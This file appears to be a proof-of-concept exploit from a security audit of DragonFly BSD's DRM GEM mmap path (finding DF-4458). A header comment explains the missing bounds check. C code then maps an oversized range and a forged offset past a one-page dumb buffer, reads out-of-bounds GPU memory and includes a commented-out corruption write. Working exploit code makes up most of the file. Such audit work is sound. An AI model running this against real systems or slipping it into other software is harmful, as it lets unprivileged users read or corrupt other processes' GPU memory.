DF-4458 / df4458.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | /* * DF-4458 โ drm_gem_mmap_single() accepts an arbitrary user-controlled * mapping length AND arbitrary in-object byte offset (bits 0..39 of the * fake offset) without validating either against the GEM object size. * * The upstream clamp lives in drm_gem_mmap_obj(): * if (obj_size < vma->vm_end - vma->vm_start) return -EINVAL; * but that function is #if 0'd on DragonFly (drm_gem.c:914-1041); the * BSD path (drm_gem_mmap_single, drm_gem.c:1082-1109) never re-implements * it, and vm_mmap() passes the mmap(2) length through verbatim * (vm_mmap.c:1377 -> drm_drv.c:1270 -> drm_gem.c:1099). * * EXPECTED on vulnerable kernel + Intel GPU (i915): * - every page fault in [fake+objsize, fake+objsize+len) dispatches * i915_gem_fault(vm_obj, offset, ...) with offset >= obj->base.size * (the driver-side missing check is DF-1146): vm_phys_fictitious_ * to_vm_page(ggtt->gmadr.start + vma->node.start + offset) happily * returns neighbouring GGTT pages -> cross-object GPU memory * read/write, or SIGBUS past the aperture. * - with the core fix (this finding), mmap returns EINVAL. * * BUILD: cc -O2 -o df4458 df4458.c * RUN: ./df4458 /dev/dri/card0 * (This PoC needs no privileges beyond /dev/dri/card0 access, 0666 by * default in drm_sysfs; on the audit QEMU guest there is no DRM device, * so open() fails with ENOENT โ see run.log.) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <stdint.h> /* minimal UAPI (keep in sync with sys/dev/drm/include/uapi/drm/drm.h) */ struct drm_mode_create_dumb0 { uint32_t width, height, bpp, flags; uint32_t handle, pitch, size; }; struct drm_mode_map_dumb0 { uint32_t handle, pad; uint64_t offset; }; #define DRM_IOCTL_BASE 'd' #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) #define DRM_IOCTL_MODE_CREATE_DUMB DRM_IOWR(0xB2, struct drm_mode_create_dumb0) #define DRM_IOCTL_MODE_MAP_DUMB DRM_IOWR(0xB3, struct drm_mode_map_dumb0) #define DRM_GEM_MAPPING_KEY (2ULL << 62) /* drm_gem.h:41 */ int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/dev/dri/card0"; struct drm_mode_create_dumb0 create; struct drm_mode_map_dumb0 map; uint64_t fake, fake_oob; unsigned char *p; size_t oob_len; int fd, i; fd = open(path, O_RDWR | O_CLOEXEC); if (fd < 0) { fprintf(stderr, "open %s: %s (no DRM device on this system)\n", path, strerror(errno)); return (2); } /* 1 page object: 64x64x8bpp = 4096 bytes */ memset(&create, 0, sizeof(create)); create.width = create.height = 64; create.bpp = 8; if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create) < 0) { perror("CREATE_DUMB"); return (2); } printf("[+] dumb buffer handle=%u size=%u\n", create.handle, create.size); memset(&map, 0, sizeof(map)); map.handle = create.handle; if (ioctl(fd, DRM_IOCTL_MODE_MAP_DUMB, &map) < 0) { perror("MAP_DUMB"); return (2); } fake = map.offset; if ((fake & (3ULL << 62)) != DRM_GEM_MAPPING_KEY) { fprintf(stderr, "[!] unexpected fake offset 0x%jx\n", (uintmax_t)fake); return (2); } printf("[+] fake mmap offset = 0x%jx (KEY set, idx=%llu)\n", (uintmax_t)fake, (unsigned long long)((fake >> 40) & 0x3fffff)); /* * ATTACK A โ oversized length: map 64x the object starting at its * base offset. Every fault past page 1 is out of bounds. */ oob_len = (size_t)create.size * 64; p = mmap(NULL, oob_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, fake); if (p == MAP_FAILED) { printf("[A] oversized mmap(%zu) failed: %s\n", oob_len, strerror(errno)); } else { printf("[A] oversized mmap(%zu) SUCCEEDED โ walking pages:\n", oob_len); for (i = 0; i < 64; i += 4) printf(" page %2d (obj %s): %02x %02x %02x %02x\n", i, i ? "OUT OF BOUNDS" : "in-bounds", p[i * 4096 + 0], p[i * 4096 + 1], p[i * 4096 + 2], p[i * 4096 + 3]); /* OOB write probe (uncomment to test corruption): memset(p + create.size, 0x41, 4096); */ munmap(p, oob_len); } /* * ATTACK B โ forged in-object offset: add 2 MiB to the low bits of * the fake offset (bits 0..39 are attacker-controlled) and map one * page there โ first fault is already far past the 1-page object. */ fake_oob = fake + (2ULL << 20); p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, fake_oob); if (p == MAP_FAILED) { printf("[B] offset+mmap failed: %s\n", strerror(errno)); } else { printf("[B] offset+mmap SUCCEEDED โ first byte at +2MiB past " "1-page object: %02x\n", p[0]); munmap(p, 4096); } printf("[=] any SUCCESS line above demonstrates the missing bounds " "check in drm_gem_mmap_single (drm_gem.c:1082-1109)\n"); return (0); } |